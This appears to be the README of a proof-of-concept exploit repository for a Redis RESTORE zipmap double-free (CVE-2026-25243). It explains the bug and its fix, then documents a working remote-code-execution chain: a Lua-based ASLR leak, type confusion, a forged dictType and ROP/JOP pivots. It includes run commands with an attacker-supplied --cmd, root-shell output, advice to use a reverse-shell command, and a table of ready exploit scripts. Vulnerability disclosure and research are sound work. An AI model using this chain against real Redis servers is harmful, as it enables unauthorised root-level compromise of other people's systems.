
CVE-2026-25243 — Redis RESTORE zipmap double-free → remote code execution (ASLR on).
RESTORE zipmap double-free → remote code executionTL;DR. A malformed
DUMPpayload passed toRESTOREtriggers a heap double-free in Redis's legacy hash-zipmap loader. Under default jemalloc the double-free is silent (the server keeps running), which turns it into a controllable type-confusion primitive. This repo chains that into remote code execution with ASLR enabled — the Redis worker callssystem("<attacker string>")and keeps serving. Not a DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
The leak that defeats ASLR uses no DEBUG — it reads the redis.call Lua C-closure address
(EVAL 'return tostring(redis.call)'), the same self-contained, DEBUG-free technique as our prior
Redis exploit. blob_base/blob_robj and the PIE base are then derived at runtime from the
over-read (no fixed offset). The PIE-ROP finish calls execve@plt through a JOP stack-pivot, so it uses
zero libc addresses — the only build-specific constants are PIE-relative gadget offsets read from the
redis-server binary, exactly like our prior HLL exploit's per-build gadget table. Verified uid=0(root),
ASLR on, 8/8, on a default DEBUG-disabled server.
Two finishes are provided.
poc_rce_aslr_pie_rop.py(above) is the most self-contained — no libc, fully self-calibrated — butexecvereplaces the worker (use a reverse-shell--cmd; best for a real shell).poc_rce_aslr_selfcal.pykeeps the worker alive (system()forks) at the cost of two libc-version offsets. Pick by whether you need the server to survive.
RESTORE key 0 <DUMP-payload> deserializes a serialized object. For the legacy RDB_TYPE_HASH_ZIPMAP
(0x09) type, the validator and the converter disagree on how many bytes a length field occupies:
zipmapValidateIntegrity() walks with the actual encoded size (5 for the overlong 0xFE prefix);zipmapNext() during zipmap → listpack conversion uses 1 byte for any decoded length < 254.A small length written in the overlong 5-byte form passes validation but makes zipmapNext()
mis-stride by 4 bytes. Two consequences flow from the same mis-stride: a heap over-read
(zipmap.c) and, in Redis only, a heap double-free in the rdb.c hash-zipmap loader:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
Valkey guards this (if (!field_added) sdsfree(field)); upstream Redis did not, so the double-free is
Redis-only. The fix rejects the overlong-encoded short length and reorders the load-time checks.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
The fake dictType is planted inside a 16 MB string (SETRANGE) at the one offset whose address low
bytes match the attacker string's sds header. ASLR is defeated entirely at runtime:
system — a single heap-pointer leak. The recommended path is DEBUG-free: the address of
the redis.call Lua C-closure (EVAL 'return tostring(redis.call)') — the same self-contained leak
our prior Redis exploit uses. The jemalloc arenas sit at a constant offset from libc, so
system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT is only a lab convenience when scripting
happens to be disabled but DEBUG is enabled — the rarer config.)SET's dict so its member is a 107 KB SDS_TYPE_32 sds, SMEMBERS over-reads
the adjacent heap, and the blob's robj.ptr is read at its known offset.See WRITEUP.md for the full primitive-by-primitive analysis and the hard-won jemalloc /
Redis-8.x details (class-64 boundary, dict entry tagging, hash-field mstr, keyspace pre-grow).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
| file | what it demonstrates |
|---|---|
★ exploits/poc_rce_aslr_pie_rop.py | most self-contained — RCE on a DEFAULT Redis (DEBUG off), NO libc offsets; self-calibrates blob_base/blob_robj/pie_base; execve@plt via JOP pivot (worker is replaced). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | worker-surviving — same chain but hashFunction=&system (forks); costs two libc-version offsets (DLIBC/SYSTEM_OFF). Lua-closure leak, self-calibrating blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | DEBUG-free (Lua leak), but with fixed offsets (DEBUG-on calibrated) |
exploits/poc_rce_aslr.py | lab-convenience variant: DEBUG OBJECT bootstrap leak (needs DEBUG enabled) |
exploits/poc_rce_aslr_off.py | RCE with ASLR off (calibrated addresses) |
exploits/poc_typeconfusion.py | double-free → two keys share one heap buffer (no tooling) |
exploits/poc_doublefree.py | the double-free (ASan: heap-use-after-free in sdsfree) |
exploits/poc_dos_overread.py | the over-read crash (ASan) |
DEBUG)The bootstrap heap-pointer leak follows the same approach as our prior Redis exploit: leak the
redis.call Lua C-closure address with EVAL 'return tostring(redis.call)'. Lua scripting is on by
default; DEBUG is off by default (enable-debug-command no) — so the Lua leak is the realistic
primary, and DEBUG OBJECT (poc_rce_aslr.py) is only a lab convenience. poc_rce_aslr_selfcal.py then
derives blob_base and blob_robj at runtime from the over-read (scan for the 16 MB-blob robj
signature), so DLUA/DFOBJ only need to be close.